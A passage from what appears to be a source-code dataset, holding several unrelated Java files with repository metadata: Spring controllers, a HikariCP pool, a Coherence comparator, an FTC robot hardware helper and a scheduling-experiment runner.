operands are equal // left operand => (7+3) // operator => == // right operand => 10 // this example evaluates to true System.out.println(7 != 7); // != is used for not equal 7 != 7 is false System.out.println(7 > 7); // 7 > 7 is false System.out.println(7 <= 7); // 7 <= 7 is true } }
true
ffde9eb981c3b4788145cf5791ff15312e28d831
Java
Ezequiel-Ferreira/spring-boot-ionic-backend
/src/main/java/com/example/cursomc/resources/PedidoResourse.java
UTF-8
1,298
2.265625
2
[]
no_license
package com.example.cursomc.resources; import java.util.ArrayList; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import com.example.cursomc.domain.Pedido; import com.example.cursomc.service.PedidoService; public class PedidoResourse { @Autowired private PedidoService pedidoService; @PostMapping("/create") ResponseEntity<?> create(@RequestBody Pedido Pedido){ pedidoService.criarPedido(Pedido); return new ResponseEntity<>("Criado com sucesso", HttpStatus.OK); } @GetMapping("/Pedidos") ResponseEntity<List<Pedido>> listarPedidos() { List<Pedido> lista = new ArrayList<Pedido>(); lista = pedidoService.buacarTodos(); return new ResponseEntity<List<Pedido>>(lista, HttpStatus.ACCEPTED); } @GetMapping("/getbyid/{id}") public ResponseEntity<?> getById(@PathVariable("id") Integer id){ Pedido Pedido = pedidoService.pedidoPorId(id); return new ResponseEntity<>(Pedido, HttpStatus.OK); } }
true
9df9da2a0f3d17c7b265464706fcf7cc53c95fec
Java
TokyoSlayers/apiPtero
/src/main/java/net/TokyoSlayer/ProxyPtero/database/Sql/SqlAccess.java
UTF-8
1,506
2.546875
3
[]
no_license
package net.TokyoSlayer.ProxyPtero.database.Sql; import com.zaxxer.hikari.HikariConfig; import com.zaxxer.hikari.HikariDataSource; import java.sql.Connection; import java.sql.SQLException; public class SqlAccess { private final SqlConnection sql; private HikariDataSource hikariDataSource; public SqlAccess(SqlConnection sql) { this.sql = sql; } private void setupHikariCP(){ final HikariConfig hikariConfig = new HikariConfig(); hikariConfig.setMaximumPoolSize(20); hikariConfig.setJdbcUrl(sql.toURL()); hikariConfig.setUsername(sql.getUser()); hikariConfig.setPassword(sql.getPass()); hikariConfig.setMinimumIdle(0); hikariConfig.setIdleTimeout(35000L); hikariConfig.setMaxLifetime(45000L); hikariConfig.setLeakDetectionThreshold(0); hikariConfig.setConnectionTimeout(30000L); hikariConfig.setPoolName("API Connection request"); this.hikariDataSource = new HikariDataSource(hikariConfig); } public void initPool(){ setupHikariCP(); } public void closePool(){ if(this.hikariDataSource != null) { this.hikariDataSource.close(); } } public Connection getConnection() throws SQLException { if(this.hikariDataSource == null){ System.out.println("not connected"); closePool(); setupHikariCP(); } return this.hikariDataSource.getConnection(); } }
true
92ed77fc0edf1cbf5debe619f56a4217bf085bf1
Java
Patrick-Balfour/learn-spring
/12.aspects/src/main/java/com/example/demo/service/PrintService.java
UTF-8
188
1.960938
2
[]
no_license
package com.example.demo.service; import org.springframework.stereotype.Service; @Service public class PrintService { public void print() { System.out.println("Hello World!"); } }
true
239b01d00eb3535fbc9e6f1d8927408266ad5c37
Java
dumashwang/de-identification
/ipv-core/src/main/java/com/ibm/whc/deid/models/Race.java
UTF-8
1,729
2.3125
2
[ "Apache-2.0", "CC-BY-SA-3.0", "ODbL-1.0" ]
permissive
/* * (C) Copyright IBM Corp. 2016,2021 * * SPDX-License-Identifier: Apache-2.0 */ package com.ibm.whc.deid.models; import java.io.Serializable; import com.ibm.whc.deid.resources.ManagedResource; import com.ibm.whc.deid.utils.log.LogCodes; import com.ibm.whc.deid.utils.log.Messages; /** * A resource that represents a race or ethnicity. */ public class Race implements LocalizedEntity, ManagedResource, Serializable { private static final long serialVersionUID = -7426090366511879997L; private final String name; private final String nameCountryCode; /** * Instantiates a new Race. * * @param name the identifier of the race or ethnicity * @param nameCountryCode a code for the containing country or locale for this resource * * @throws IllegalArgumentException if any of the input is null, empty, or otherwise invalid */ public Race(String name, String nameCountryCode) { if (name == null || name.trim().isEmpty()) { throw new IllegalArgumentException( Messages.getMessage(LogCodes.WPH1010E, String.valueOf(name), "race")); } if (nameCountryCode == null || nameCountryCode.trim().isEmpty()) { throw new IllegalArgumentException( Messages.getMessage(LogCodes.WPH1010E, String.valueOf(nameCountryCode), "race locale")); } this.name = name; this.nameCountryCode = nameCountryCode; } /** * Gets name country code. * * @return the name country code */ @Override public String getNameCountryCode() { return nameCountryCode; } /** * Gets name. * * @return the name */ public String getName() { return name; } @Override public String getKey() { return name.toUpperCase(); } }
true
bada0421b999d1addcec12f4b7014192700a5431
Java
RodrigoD215/Netbeans4toS
/SpringWeb03/src/java/com/empresa/proyecto/Controller/usuariosController.java
UTF-8
1,212
2.046875
2
[]
no_license
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package com.empresa.proyecto.Controller; import com.empresa.proyecto.DAO.usuariosDAO; import com.empresa.proyecto.DAO.usuariosDAOImple; import com.empresa.proyecto.DTO.usuariosDTO; import java.util.List; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.portlet.ModelAndView; @Controller public class usuariosController { private usuariosDAO usuariosDAO; public void setUsuariosDAOImple(usuariosDAOImple usuariosDAOImple) { this.usuariosDAO = usuariosDAOImple; } //metodo para listar usuarios private ModelAndView grilla() { List<usuariosDTO> list = usuariosDAO.usuariosListar(); ModelAndView mav = new ModelAndView("usuarios"); mav.addObject("usuarios_list", list); return mav; } @RequestMapping(value = "usuarios",params = "accion=list") public ModelAndView usuariosListar() { ModelAndView mav = grilla(); return mav; } }
true
53e8b39a64f750139b699f8258476b5416cf3d24
Java
RakshanPremsagar/jaxb
/Value.java
UTF-8
572
1.96875
2
[]
no_license
package code; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlElements; import javax.xml.bind.annotation.XmlValue; import lombok.Data; @Data @XmlAccessorType(XmlAccessType.FIELD) public class Value { @XmlElements( value = { @XmlElement(name="ms:String",type = String.class), @XmlElement(name="ms:Int",type = Integer.class), @XmlElement(name="ms:Byte",type = Byte.class) }) private Object value; }
true
9471719bdfd55e17949a9ad81a324aa536080d13
Java
codehaus/mevenide
/mevenide1/maven-plugins/maven-eclipse-plugin-plugin/src/java/org/mevenide/tags/AdaptVersionTag.java
UTF-8
4,286
2.453125
2
[ "Apache-2.0" ]
permissive
/* ========================================================================== * Copyright 2004 Apache Software Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ========================================================================= */ package org.mevenide.tags; import org.apache.commons.jelly.JellyTagException; import org.apache.commons.jelly.MissingAttributeException; import org.apache.commons.jelly.XMLOutput; /** * Adapt an artifact version to make it match Eclipse plugin expected version : * only valid chars will be kept. <br/>Valid values are ones of ([0..9]|\.). Also if * the version to adapt contains only two digits, ".0" will appended at the end so that * it matches Eclipse Update Manager expectations (3 digits required). * * <br/> * examples : * <ul> * <li>a version such as 1.0-beta-1 will be transformed to 1.0.1</li> * <li>a version such as 1.1 (or 1) will be transformed to 1.1.0 (respectively 1.0.0)</li> * <li>a SNAPSHOT version will be cut to remove the SNAPSHOT, so 1.1-SNAPSHOT will resolved as 1.1.20040519, where 20040519 is the current date. however this may causes issues in regard to plugin version compatibility concerns</li> * <li>invalid version such as 1.0..1 (or 1.1.) will be transformed to 1.0.1 (respectively, 1.1.0)</li> * </ul> * * @author <a href="mailto:rhill2@free.fr">Gilles Dodinet</a> * @version $Id$ * */ public class AdaptVersionTag extends AbstractMevenideTag { /** the version to adapt **/ private String version; /** the name under which the adapted version will be put in the jelly context **/ private String var; public void doTag(XMLOutput arg0) throws MissingAttributeException, JellyTagException { checkAttribute(version, "version"); checkAttribute(var, "var"); String newVersion = adapt(); context.setVariable(var, newVersion); } public String adapt() { String validValues = "0123456789."; String newVersion = ""; char lastConcatenatedChar = '-'; for (int i = 0; i < version.length(); i++) { if ( validValues.indexOf(version.charAt(i)) >= 0 ) { if ( Character.isDigit(lastConcatenatedChar) ) { if ( Character.isDigit(version.charAt(i)) ) { newVersion += "."; } lastConcatenatedChar = version.charAt(i); newVersion += lastConcatenatedChar; } else { if ( Character.isDigit(version.charAt(i)) ) { lastConcatenatedChar = version.charAt(i); newVersion += lastConcatenatedChar; } } } } if ( newVersion.endsWith(".") ) { newVersion = newVersion.substring(0, newVersion.length() - 1); } if ( newVersion.trim().equals("") ) { newVersion = "0.0.1"; } else { if ( !version.equals("SNAPSHOT") && version.indexOf("SNAPSHOT") >= 0 ) { //newVersion += "." + new SimpleDateFormat("yyyyMMdd").format(new Date()); //newVersion += ".0"; } } int digitNumber = countNumbers(newVersion); while ( digitNumber < 3 ) { newVersion += ".0"; digitNumber++; } return newVersion; } private int countNumbers(String version) { int u = 0; for (int i = 0; i < version.length(); i++) { if ( Character.isDigit(version.charAt(i)) ) { u++; } } return u; } public String getVersion() { return version; } /** the version to adapt **/ public void setVersion(String version) { this.version = version; } public String getVar() { return var; } /** the name under which the adapted version will be put in the jelly context **/ public void setVar(String var) { this.var = var; } }
true
b9b025d1d4ad117ade04c3f1a6d98b77cecf4429
Java
shiwxyz/IdeaProjects
/com.shiwxyz.bigdata/src/main/java/com/shiwxyz/bigdata/StudentCommitMode.java
UTF-8
219
1.585938
2
[]
no_license
package com.shiwxyz.bigdata; public enum StudentCommitMode { /* commit overtime */ OVERTIME, /* commit on time */ ON_TIME, /* commit in advance */ IN_ADVANCE; }
true
ce014682c544b2daa8a53f4d3100384d86234491
Java
dilanindrajith/CBMS
/CBMS/src/com/cbms/common/AccessTypeEnum.java
UTF-8
320
2.1875
2
[]
no_license
package com.cbms.common; import java.io.Serializable; public enum AccessTypeEnum implements Serializable { WEB("WEB"), MOBILE("MOBILE"); private String accessType; AccessTypeEnum(String accessType) { this.accessType = accessType; } public String getAccessType() { return accessType; } };
true
6a9e499e84b15f87cc982c18c3a6341dc492f0d0
Java
kianooshmokhtari/LeagueLiveTournament
/CCF/src/persistLayer/DatabaseAccessConfiguration.java
UTF-8
320
2
2
[]
no_license
package persistLayer; public class DatabaseAccessConfiguration { static final String DB_DRIVE_NAME = "org.mariadb.jdbc.Driver"; static final String DB_CONNECTION_URL = "jdbc:mariadb://localhost:3306/CCF"; static final String DB_CONNECTION_USERNAME = "root"; static final String DB_CONNECTION_PASSWORD = ""; }
true
b565bf074de93c50bc7c8bc696cca6e26d1c9933
Java
oracle/coherence
/prj/coherence-core/src/main/java/com/tangosol/util/comparator/ExtractorComparator.java
UTF-8
4,291
2.09375
2
[ "EPL-1.0", "Classpath-exception-2.0", "LicenseRef-scancode-unicode", "LicenseRef-scancode-warranty-disclaimer", "BSD-3-Clause", "LicenseRef-scancode-free-unknown", "LicenseRef-scancode-protobuf", "CDDL-1.1", "W3C", "APSL-1.0", "GPL-2.0-only", "Apache-2.0", "LicenseRef-scancode-public-domain"...
permissive
/* * Copyright (c) 2000, 2022, Oracle and/or its affiliates. * * Licensed under the Universal Permissive License v 1.0 as shown at * https://oss.oracle.com/licenses/upl. */ package com.tangosol.util.comparator; import com.tangosol.internal.util.invoke.Lambdas; import com.tangosol.io.ExternalizableLite; import com.tangosol.io.pof.PofReader; import com.tangosol.io.pof.PofWriter; import com.tangosol.io.pof.PortableObject; import com.tangosol.util.ExternalizableHelper; import com.tangosol.util.InvocableMap; import com.tangosol.util.ValueExtractor; import java.io.DataInput; import java.io.DataOutput; import java.io.IOException; import java.util.Comparator; import jakarta.json.bind.annotation.JsonbProperty; import static com.tangosol.util.Base.azzert; /** * Comparator implementation that uses specified {@link ValueExtractor} to extract value(s) to be used for comparison. * * @author as 2010.09.09 */ public class ExtractorComparator<T> implements Comparator<T>, ExternalizableLite, PortableObject { // ---- constructors ---------------------------------------------------- /** * Default constructor (for PortableObject). */ public ExtractorComparator() { } /** * Construct a ExtractorComparator with the specified extractor. * * @param extractor the ValueExtractor to use by this filter */ public <E extends Comparable<? super E>> ExtractorComparator(ValueExtractor<? super T, ? extends E> extractor) { azzert(extractor != null); m_extractor = Lambdas.ensureRemotable(extractor); } // ---- Comparator implementation --------------------------------------- /** * Compares extracted values (by specified <tt>ValueExtractor</tt>) of given arguments for order. * * @param o1 the first object to be compared * @param o2 the second object to be compared * * @return a negative integer, zero, or a positive integer as the first * argument is less than, equal to, or greater than the second * * @throws ClassCastException if the arguments' types prevent them from being compared by this Comparator. */ @Override public int compare(T o1, T o2) { Comparable a1 = o1 instanceof InvocableMap.Entry ? ((InvocableMap.Entry<?, ?>) o1).extract(m_extractor) : m_extractor.extract(o1); Comparable a2 = o2 instanceof InvocableMap.Entry ? ((InvocableMap.Entry<?, ?>) o2).extract(m_extractor) : m_extractor.extract(o2); if (a1 == null) { return a2 == null ? 0 : -1; } if (a2 == null) { return +1; } return a1.compareTo(a2); } // ---- ExternalizableLite implementation ------------------------------- @Override public void readExternal(DataInput in) throws IOException { m_extractor = ExternalizableHelper.readObject(in); } @Override public void writeExternal(DataOutput out) throws IOException { ExternalizableHelper.writeObject(out, m_extractor); } // ---- PortableObject implementation ----------------------------------- @Override public void readExternal(PofReader in) throws IOException { m_extractor = in.readObject(0); } @Override public void writeExternal(PofWriter out) throws IOException { out.writeObject(0, m_extractor); } // ---- accessors -------------------------------------------------------- /** * Returns the {@link ValueExtractor} to extract value(s) to be used in comparison. * * @return the {@link ValueExtractor} to extract value(s) to be used in comparison */ public ValueExtractor<? super T, ? extends Comparable> getExtractor() { return m_extractor; } // --- data members ----------------------------------------------------- /** * <tt>ValueExtractor</tt> to extract value(s) to be used in comparison */ @JsonbProperty("extractor") private ValueExtractor<? super T, ? extends Comparable> m_extractor; }
true
63209b764d1749201ab42fb8971f61a3166b1aba
Java
CodecoolGlobal/filepartreader-testing-with-junit-Niarit
/src/main/java/Main.java
UTF-8
1,207
3.296875
3
[]
no_license
import com.codecool.FileManipulators.*; public class Main { public static void main(String[] args) { FilePartReader filePartReader = new FilePartReader(); filePartReader.setup("src/main/resources/data/test_file.txt", 1, 7); FileWordAnalyzer fileWordAnalyzer = new FileWordAnalyzer(filePartReader); System.out.println("=^..^= =^..^= =^..^= ORDERED =^..^= =^..^= =^..^="); System.out.println(); for (Object item : fileWordAnalyzer.wordsByABC()) { System.out.print(item + " "); } System.out.println("\n"); System.out.println("=^..^= =^..^= =^..^= SUBSTRINGS =^..^= =^..^= =^..^="); System.out.println(); for (Object item : fileWordAnalyzer.wordsContainingSubString("a")) { System.out.println(item); } System.out.println("=^..^= =^..^= =^..^= PALINDROMES =^..^= =^..^= =^..^="); System.out.println(); for (Object item : fileWordAnalyzer.wordsArePalindrome()) { System.out.println(item); } System.out.println("=^..^= =^..^= =^..^= =^..^= =^..^= =^..^= =^..^="); } }
true
52599b968227dd8e5dffa7b967eee6305523f07d
Java
islamakhambet/ass6
/Assigment6-master/src/Singleton/Application.java
UTF-8
284
2.03125
2
[]
no_license
package Singleton; public class Application { public static void main(String[] args) { Database foo=Database.getInstance(); foo.query("SELECT..."); Database bar=Database.getInstance(); bar.query("SELECT..."); } }
true
d5a8605da912c4f5c7dc84df69b1bd2a35e89a14
Java
TonyOkGo/Ultimate-Goal-15403-Ver-2
/TeamCode/src/main/java/org/firstinspires/ftc/teamcode/HardwareMapUtil.java
UTF-8
2,111
2.421875
2
[ "BSD-3-Clause" ]
permissive
package org.firstinspires.ftc.teamcode; import com.qualcomm.robotcore.hardware.CRServo; import com.qualcomm.robotcore.hardware.ColorSensor; import com.qualcomm.robotcore.hardware.DcMotor; import com.qualcomm.robotcore.hardware.DcMotorSimple; import com.qualcomm.robotcore.hardware.HardwareMap; import com.qualcomm.robotcore.hardware.NormalizedColorSensor; import com.qualcomm.robotcore.hardware.Servo; import com.qualcomm.robotcore.util.ElapsedTime; import static org.firstinspires.ftc.robotcore.external.BlocksOpModeCompanion.hardwareMap; public abstract class HardwareMapUtil { HardwareMap hwMap = null; private ElapsedTime period = new ElapsedTime(); public DcMotor HardwareInitMotor(String configname, boolean forward) { DcMotor motor = null; motor = hwMap.get(DcMotor.class, configname); motor.setPower(0); //If the motor is a wheel on the left of the robot OR another motor somewhere else use FORWARD! if (forward) { motor.setDirection(DcMotor.Direction.FORWARD); } //If the motor is a wheel on the right of the robot then use REVERSE! else { motor.setDirection(DcMotor.Direction.REVERSE); } motor.setPower(0); motor.setMode(DcMotor.RunMode.RUN_WITHOUT_ENCODER); return motor; } public Servo HardwareInitServo(String configname, double position){ Servo servo = null; servo = hwMap.get(Servo.class, configname); servo.setPosition(position); return servo; } public CRServo HardwareInitCRServo(String configname, boolean forward){ CRServo crservo = null; crservo = hwMap.get(CRServo.class, configname); if(forward){ crservo.setDirection(CRServo.Direction.FORWARD); } else{ crservo.setDirection(CRServo.Direction.REVERSE); } crservo.setPower(0); return crservo; } public ColorSensor HardwareInitColorSensor(String configname){ return hwMap.get(ColorSensor.class, configname); //UNTESTED! } }
true
d155ac79d030628ca7d91f13d3ef681bae4e3170
Java
rodsxe/VND-UPMSSD
/src/ExperimentRunner.java
ISO-8859-1
20,578
2.1875
2
[]
no_license
import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.io.PrintWriter; import java.text.ParseException; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.List; import java.util.Random; import java.util.Set; import java.util.StringTokenizer; import algorithms.Algorithm; import exception.BestObjectFunctionException; import instance.loader.TargetSol; import instance.loader.LoaderInstance; import instance.loader.SchedulingInstancesConfig; import model.Solution; import operators.function.evaluator.ObjectFunctionEvaluator; /** * Class resnponsable to execute an experiment given a configuration in ExperimentConfig class * @author Rodney Oliveira Marinho Diana * */ public class ExperimentRunner { public static final int STOPPING_CRITERIA_IT_WITHOUT_IMPROVEMENT = 1; public static final int STOPPING_CRITERIA_TIME = 2; public static final int STOPPING_CRITERIA_TARGET = 3; public static final int EXECUTION_TYPE_STANDARD = 1; public static final int EXECUTION_TYPE_DESIGN = 2; public static final int EXECUTION_TYPE_COMPONENT_WISE = 3; public static final int EXECUTION_TYPE_DESIGN_BY_INSTANCE = 4; private int[][] processTimes; private int[][][] setupTimes; private HashMap<String, TargetSol> targetSolutions; private Random rand; private Algorithm algorithm; private LoaderInstance loader; private ObjectFunctionEvaluator evaluator; /*Paths*/ private String solPath; private String mainDir; private String writeSolDir; private String resultArqName; private String[] fileDir; private String FILE_TYPE; private boolean isToWritePartialSolutions; private String[] levels; private String design_conf; private int STOPPING_CRITERIA; private int EXECUTION_TYPE; private int RUNS_NUMBER; private double PERCENTUAL_TARGET; private int IT_MAX; private int[] millis; public ExperimentRunner() { super(); this.algorithm = ExperimentConfig.algoritmo; this.loader = ExperimentConfig.loader; this.rand = ExperimentConfig.rand; this.STOPPING_CRITERIA = ExperimentConfig.stopping_criteria; this.mainDir = ExperimentConfig.main_dir; this.solPath = ExperimentConfig.main_dir + ExperimentConfig.file_of_target_value_of_instance; this.writeSolDir = ExperimentConfig.dir_to_write_the_best_solutions; this.resultArqName = ExperimentConfig.result_file_name; this.fileDir = ExperimentConfig.dir_instances; this.FILE_TYPE = ExperimentConfig.file_instance_type; this.RUNS_NUMBER = ExperimentConfig.number_of_experiments_per_instance; this.PERCENTUAL_TARGET = ExperimentConfig.percentual_target; this.IT_MAX = ExperimentConfig.iterations_without_improvement; this.millis = ExperimentConfig.tempo_millis; this.levels = ExperimentConfig.levels_parameters; this.design_conf = ExperimentConfig.parameter_calibration_design_conf; this.EXECUTION_TYPE = ExperimentConfig.execution_type; this.isToWritePartialSolutions = ExperimentConfig.is_to_write_partial_solutions; } public ExperimentRunner(Random rand) { this(); this.rand = rand; } private void loadArq(String path, HashMap<String, String> params){ try{ processTimes = loader.loadProcessTime(path); setupTimes = loader.loadSetupTime(path); targetSolutions = loader.loadTargetSolutions(solPath); SchedulingInstancesConfig config = new SchedulingInstancesConfig(setupTimes, processTimes, loader.loadDueDate(path)); this.evaluator = loader.getEvaluator(path); this.evaluator.setSchedulingConfig(config); algorithm.setInstanceValues(config, evaluator, rand, params); } catch(FileNotFoundException e){ e.printStackTrace(); System.out.println("Arquivo no encontrado."); } catch(IOException o){ o.printStackTrace(); System.out.println("ERRO"); } } private long getProcessTime(int milli) { return milli; } private boolean stoppingCriteria(int itWithoutImprovement, long processTime, long totalTime, long target, float cost){ if(STOPPING_CRITERIA == STOPPING_CRITERIA_TIME) return (totalTime > processTime)?false:true; else if(STOPPING_CRITERIA == STOPPING_CRITERIA_TARGET) return (cost > target && totalTime > processTime)?false:true; else if(STOPPING_CRITERIA == STOPPING_CRITERIA_IT_WITHOUT_IMPROVEMENT) return (itWithoutImprovement < IT_MAX)?false:true; return true; } public Long getTarget(String instance){ String instanceName = instance.substring(0, instance.indexOf(FILE_TYPE)); if (targetSolutions == null || !targetSolutions.containsKey(instanceName)) return new Long(0); TargetSol bestSol = targetSolutions.get(instanceName); return (long)(bestSol.getBestSol() * PERCENTUAL_TARGET); } private List<Solution> sortObjFunction(List<Solution> Ab){ Collections.sort(Ab, new Comparator<Solution>() { @Override public int compare(Solution s1, Solution s2) { if(s1.getObjectiveFunction() < s2.getObjectiveFunction())return -1; else if(s1.getObjectiveFunction() > s2.getObjectiveFunction())return 1; else return 0; } }); return Ab; } public Solution getBestValidSolution(List<Solution> solutions){ solutions = sortObjFunction(solutions); for (Solution solution : solutions) { if(evaluator.isValidSolution(solution)) return solution; } return null; } public Solution execOneTime(String arqPath, String instance, PrintWriter printWriter, HashMap<String, String> params) throws BestObjectFunctionException, IOException, ParseException{ this.loadArq(arqPath, params); long totalTime = getProcessTime(millis[millis.length - 1]); float lastChangeMakespan = Float.MAX_VALUE; long target = (instance != null)? getTarget(instance): 0; int itWithoutImprovement = 0; long initialTime = System.currentTimeMillis(); long processTime = System.currentTimeMillis() - initialTime; long targetTime = -1; List<Solution> solutions = algorithm.loadInitialSolutions(); if (printWriter != null && isToWritePartialSolutions) writeResultInstance(printWriter, instance, algorithm.getBest().getObjectiveFunction(), System.currentTimeMillis() - initialTime); while(!stoppingCriteria(itWithoutImprovement, processTime, totalTime, target, lastChangeMakespan)){ solutions = algorithm.executeOneIteration(solutions); Solution bestSol = getBestValidSolution(solutions); Solution bestSol2 = algorithm.getBest(); if (bestSol == null && bestSol2 != null) bestSol = bestSol2; else if(bestSol == null && bestSol2 == null) bestSol = null; else if(bestSol2 != null && bestSol!= null) bestSol = (bestSol.getObjectiveFunction() < bestSol2.getObjectiveFunction())?bestSol:bestSol2; processTime = System.currentTimeMillis() - initialTime; if(bestSol == null || lastChangeMakespan <= bestSol.getObjectiveFunction()){ itWithoutImprovement++; if (bestSol != null && bestSol.getObjectiveFunction() == 0) break; } else{ lastChangeMakespan = bestSol.getObjectiveFunction(); itWithoutImprovement = 0; if (printWriter != null && isToWritePartialSolutions) writeResultInstance(printWriter, instance, bestSol.getObjectiveFunction(), processTime); } if (bestSol != null && targetTime < 0 && bestSol.getObjectiveFunction() < target) targetTime = processTime; } processTime = System.currentTimeMillis() - initialTime; if (targetTime < 0) targetTime = Integer.MAX_VALUE; solutions = algorithm.updateMemory(solutions); if (solutions.isEmpty()) return null; Solution result = solutions.get(0); if(lastChangeMakespan != result.getObjectiveFunction()) throw new BestObjectFunctionException("Bug in algorithm, best object function return in memory (updateMemory) is not the same showed in rum time. Run Time:"+ lastChangeMakespan + "; Memory:" + result.getObjectiveFunction()); if (printWriter != null) result.setTime(processTime); if (printWriter != null){ if(isToWritePartialSolutions)writeResultInstance(printWriter, instance, algorithm.getBest().getObjectiveFunction(), processTime); else writeResultInstance(instance, printWriter, solutions, targetTime); } return result; } public void run()throws Exception{ switch(EXECUTION_TYPE) { case EXECUTION_TYPE_DESIGN: this.runDesignExp(); break; case EXECUTION_TYPE_COMPONENT_WISE: this.runComponentWise(); break; case EXECUTION_TYPE_DESIGN_BY_INSTANCE: runDesignExpByInstance(); break; case EXECUTION_TYPE_STANDARD: runStandard(); break; } } public void runStandard() throws Exception{ for (int j = 0; j < fileDir.length; j++) { String dirName = mainDir + fileDir[j]; try { FileWriter fileWriter = new FileWriter(mainDir + resultArqName + "_" + fileDir[j] + ".txt", true); PrintWriter printWriter = new PrintWriter(fileWriter); ArrayList<String> instances = loadInstancesNames(dirName); for (String instance : instances) { float melhorCusto = 100000000; float media = 0; Solution solucao = null; int it = 0; while(it < RUNS_NUMBER){ Solution s = execOneTime(dirName + "/" + instance, fileDir[j] + "_" +instance, printWriter, null); float custo = s.getObjectiveFunction(); if(custo < melhorCusto){ melhorCusto = custo; solucao = s; } media = media + custo; it ++; } if(STOPPING_CRITERIA != STOPPING_CRITERIA_TARGET){ SolutionWriter vs = new SolutionWriter(solucao, evaluator, processTimes, setupTimes); vs.writeSolInArq(mainDir + "/" + writeSolDir + "/" + fileDir[j] + "/" + instance, instance, FILE_TYPE); } } printWriter.close(); fileWriter.close(); } catch (IOException e) { e.printStackTrace();} } } public void runComponentWise()throws Exception{ int it, round, n_leves = levels.length; String line, componentKey; String dirName = mainDir + fileDir[0]; ArrayList<String> instances; BufferedReader in; FileWriter fileWriter; PrintWriter printWriter; StringTokenizer st; HashMap<String, Float> bestByInstance = new HashMap<String, Float>(); HashMap<String, Float> worstByInstance = new HashMap<String, Float>(); Float theBest, worst; HashMap<String, Float> executionResultByInstance = new HashMap<String, Float>(); HashMap<String, String> component, selectedComponent; List<HashMap<String, String>> listOfComponents = new ArrayList<HashMap<String, String>>(); try { fileWriter = new FileWriter(mainDir + resultArqName + "_" + fileDir[0] + ".txt", true); printWriter = new PrintWriter(fileWriter); instances = loadInstancesNames(dirName); in = new BufferedReader(new FileReader(mainDir + design_conf)); while ((line = in.readLine()) != null) { st = new StringTokenizer(line.trim(), " "); component = new HashMap<String, String>(); componentKey = st.nextToken().trim(); component.put("COMPONENT_KEY", componentKey); for (int i = 0; i < n_leves; i++) component.put(levels[i], st.nextToken().trim()); listOfComponents.add(component); } round = 1; while (!listOfComponents.isEmpty()) { for (int i = 0; i < listOfComponents.size(); i++) { component = listOfComponents.get(i); componentKey = component.get("COMPONENT_KEY"); for (String instance : instances) { if (bestByInstance.containsKey(instance)) theBest = bestByInstance.get(instance); else theBest = Float.MAX_VALUE; if (worstByInstance.containsKey(instance)) worst = worstByInstance.get(instance); else worst = Float.MIN_VALUE; it = 0; while (it < RUNS_NUMBER) { Solution s = execOneTime(dirName + "/" + instance, instance, null, component); if (s.setObjectiveFunction() < theBest) theBest = s.getObjectiveFunction(); if (s.getObjectiveFunction() > worst) worst = s.getObjectiveFunction(); executionResultByInstance.put(componentKey + "_" + instance + "_" + it, s.getObjectiveFunction()); printWriter.println(round + ";" + componentKey + ";" + instance + ";" + s.getObjectiveFunction()); printWriter.flush(); it++; } bestByInstance.put(instance, theBest); worstByInstance.put(instance, worst); } } float value, sum, rpd, rpdSelected = Float.MAX_VALUE; int N; int componenetSelected = -1; for (int i = 0; i < listOfComponents.size(); i++) { component = listOfComponents.get(i); componentKey = component.get("COMPONENT_KEY"); N = 0; sum = 0.f; for (String instance : instances) { theBest = bestByInstance.get(instance); worst = worstByInstance.get(instance); it = 0; while (it < RUNS_NUMBER) { value = executionResultByInstance.get(componentKey + "_" + instance + "_" + it); sum += (value - theBest)/(worst - theBest); it++; N++; } } rpd = sum/N; if (rpd < rpdSelected) { rpdSelected = rpd; componenetSelected = i; } } selectedComponent = listOfComponents.remove(componenetSelected); for (int i = 0; i < listOfComponents.size(); i++) { component = listOfComponents.get(i); Set<String> levels = selectedComponent.keySet(); for (String level : levels) { if (!level.equals("COMPONENT_KEY")) if (!selectedComponent.get(level).equals("1")) component.put(level, selectedComponent.get(level)); } } round++; } printWriter.close(); fileWriter.close(); in.close(); } catch (IOException e) { e.printStackTrace(); } } public void runDesignExpByInstance()throws Exception{ int n_leves = levels.length; String line; StringTokenizer st; String dirName = mainDir + fileDir[0]; BufferedReader in; ArrayList<String> instances; FileWriter fileWriter; PrintWriter printWriter; HashMap<String, String> params = new HashMap<String, String>(); try { instances = loadInstancesNames(dirName); for (String instance : instances) { fileWriter = new FileWriter(mainDir + resultArqName + "_" + instance + "_" + fileDir[0] + ".txt", true); printWriter = new PrintWriter(fileWriter); in = new BufferedReader(new FileReader(mainDir + design_conf)); while ((line = in.readLine()) != null) { st = new StringTokenizer(line.trim(), " "); String number = st.nextToken().trim(); st.nextToken(); st.nextToken(); st.nextToken(); //instance = instances.get(new Integer(st.nextToken().trim()) - 1); for (int i = 0; i < n_leves; i++) params.put(levels[i], st.nextToken().trim()); int it = 0; while(it < RUNS_NUMBER){ Solution s = execOneTime(dirName + "/" + instance, instance, null, params); printWriter.println(number + ";" + instance + ";" + s.setObjectiveFunction()); printWriter.flush(); it++; } } printWriter.close(); fileWriter.close(); in.close(); } } catch (IOException e) { e.printStackTrace(); } } public void runDesignExp()throws Exception{ int n_leves = levels.length; String line, instance; StringTokenizer st; String dirName = mainDir + fileDir[0]; BufferedReader in; ArrayList<String> instances; FileWriter fileWriter; PrintWriter printWriter; HashMap<String, String> params = new HashMap<String, String>(); try { fileWriter = new FileWriter(mainDir + resultArqName + "_" + fileDir[0] + ".txt", true); printWriter = new PrintWriter(fileWriter); //instances = loadInstancesNames(dirName); instances = new ArrayList<String>(); 